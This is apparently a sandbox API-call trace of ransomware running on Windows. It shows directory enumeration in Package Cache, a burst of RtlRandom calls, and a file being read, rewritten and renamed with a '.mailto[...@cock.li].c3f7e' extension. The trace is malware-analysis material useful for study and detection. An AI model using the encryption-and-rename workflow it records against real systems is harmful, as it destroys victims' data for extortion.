	[0079.945] wcscmp (_String1="..", _String2=".") returned 1
	[0079.945] wcscmp (_String1="..", _String2="..") returned 0
	[0079.946] FindNextFileW (in: hFindFile=0x2d87538, lpFindFileData=0x2ddc790 | out: lpFindFileData=0x2ddc790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.946] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.946] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4769de8
	[0079.946] wcscpy (in: _Dest=0x4769de8, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0079.946] wcscat (in: _Dest=0x4769de8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\"
	[0079.946] wcscat (in: _Dest=0x4769de8, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0092.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c960
	[0092.371] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0092.372] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\"
	[0092.372] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*"
	[0092.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.372] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.372] wcscmp (_String1=".", _String2=".") returned 0
	[0092.372] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.372] wcscmp (_String1="..", _String2=".") returned 1
	[0092.372] wcscmp (_String1="..", _String2="..") returned 0
	[0092.372] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.372] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1
	[0092.372] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1
	[0092.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e618
	[0092.372] wcscpy (in: _Dest=0x491e618, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0092.372] wcscat (in: _Dest=0x491e618, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\"
	[0092.372] wcscat (in: _Dest=0x491e618, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0092.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b550
	[0092.373] wcscpy (in: _Dest=0x491b550, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0092.373] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\"
	[0092.373] wcscat (in: _Dest=0x491b550, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*"
	[0092.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.373] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.373] wcscmp (_String1=".", _String2=".") returned 0
	[0092.373] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.373] wcscmp (_String1="..", _String2=".") returned 1
	[0092.373] wcscmp (_String1="..", _String2="..") returned 0
	[0092.373] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.373] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.373] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.373] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.373] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1
	[0092.373] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1
	[0092.373] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.373] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0092.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0092.373] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.373] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769de8) returned 1
	[0092.374] FindNextFileW (in: hFindFile=0x2d87538, lpFindFileData=0x2ddc790 | out: lpFindFileData=0x2ddc790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.374] FindClose (in: hFindFile=0x2d87538 | out: hFindFile=0x2d87538) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddc790) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61160) returned 1
	[0092.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ff88) returned 1

Thread:
	id = 342
	os_tid = 0x1480

	[0076.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d79098
	[0076.885] wcscpy (in: _Dest=0x2d79098, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0076.885] wcscat (in: _Dest=0x2d79098, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\"
	[0076.885] wcscat (in: _Dest=0x2d79098, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*"
	[0076.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddc9f8
	[0076.885] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x2ddc9f8 | out: lpFindFileData=0x2ddc9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d874f8
	[0079.945] wcscmp (_String1=".", _String2=".") returned 0
	[0079.945] FindNextFileW (in: hFindFile=0x2d874f8, lpFindFileData=0x2ddc9f8 | out: lpFindFileData=0x2ddc9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.945] wcscmp (_String1="..", _String2=".") returned 1
	[0079.945] wcscmp (_String1="..", _String2="..") returned 0
	[0079.945] FindNextFileW (in: hFindFile=0x2d874f8, lpFindFileData=0x2ddc9f8 | out: lpFindFileData=0x2ddc9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x37687158, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0079.945] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0079.945] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0079.945] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986278
	[0079.945] wcscpy (in: _Dest=0x4986278, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0079.945] wcscat (in: _Dest=0x4986278, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\"
	[0079.945] wcscat (in: _Dest=0x4986278, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"
	[0092.377] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20
	[0092.381] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0092.382] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1388
	[0092.382] GetFileSizeEx (in: hFile=0x1388, lpFileSize=0xebbfe84 | out: lpFileSize=0xebbfe84*=750) returned 1
	[0092.382] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x2ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.382] ReadFile (in: hFile=0x1388, lpBuffer=0xebbfe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xebbfe04, lpOverlapped=0x0 | out: lpBuffer=0xebbfe08*, lpNumberOfBytesRead=0xebbfe04*=0x4, lpOverlapped=0x0) returned 1
	[0092.401] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.401] NtQuerySystemTime (in: CurrentTime=0xebbfde4 | out: CurrentTime=0xebbfde4*=132251868191346770) returned 0x0
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xd84cf70b
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x9da7bc3b
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x89a26545
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xaef2ecba
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x54de0d09
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x914036f6
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x6aa0d2bf
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x46ea7bd1
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xf33dfa71
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x1ec4ffa9
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x32791ec6
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x5f014ea3
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xab52808a
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xcec8924a
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x849f37f6
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x3a77dbdd
	[0092.401] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x79f167cc
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x5144849b
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x94020bf2
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x5d4fce7e
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x21dc3977
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x812732a5
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xe8261476
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x33420fa8
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x6c340f4e
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x335a5707
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x8eb2e7d1
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x658c1209
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x5fdfda50
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0xc2a1aeef
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x1e444c9e
	[0092.402] RtlRandom (in: Seed=0xebbfdf0 | out: Seed=0xebbfdf0) returned 0x91f8a0cd
	[0092.410] ReadFile (in: hFile=0x1388, lpBuffer=0x50ef8b8, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0xebbfde0, lpOverlapped=0x0 | out: lpBuffer=0x50ef8b8*, lpNumberOfBytesRead=0xebbfde0*=0x2ee, lpOverlapped=0x0) returned 1
	[0092.410] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.410] WriteFile (in: hFile=0x1388, lpBuffer=0x50fc0c0*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0xebbfddc, lpOverlapped=0x0 | out: lpBuffer=0x50fc0c0*, lpNumberOfBytesWritten=0xebbfddc*=0x2ee, lpOverlapped=0x0) returned 1
	[0092.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bc8
	[0092.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0092.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0092.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50fc0c0) returned 1
	[0092.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ef8b8) returned 1
	[0092.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabb0) returned 1
	[0092.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2d77498
	[0092.423] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.423] WriteFile (in: hFile=0x1388, lpBuffer=0x4716e28*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xebbfe44, lpOverlapped=0x0 | out: lpBuffer=0x4716e28*, lpNumberOfBytesWritten=0xebbfe44*=0x103, lpOverlapped=0x0) returned 1
	[0092.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0092.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984960) returned 1
	[0092.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c30) returned 1
	[0092.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0092.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0092.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d448
	[0092.425] wcscpy (in: _Dest=0x491d448, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"
	[0092.425] wcscat (in: _Dest=0x491d448, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
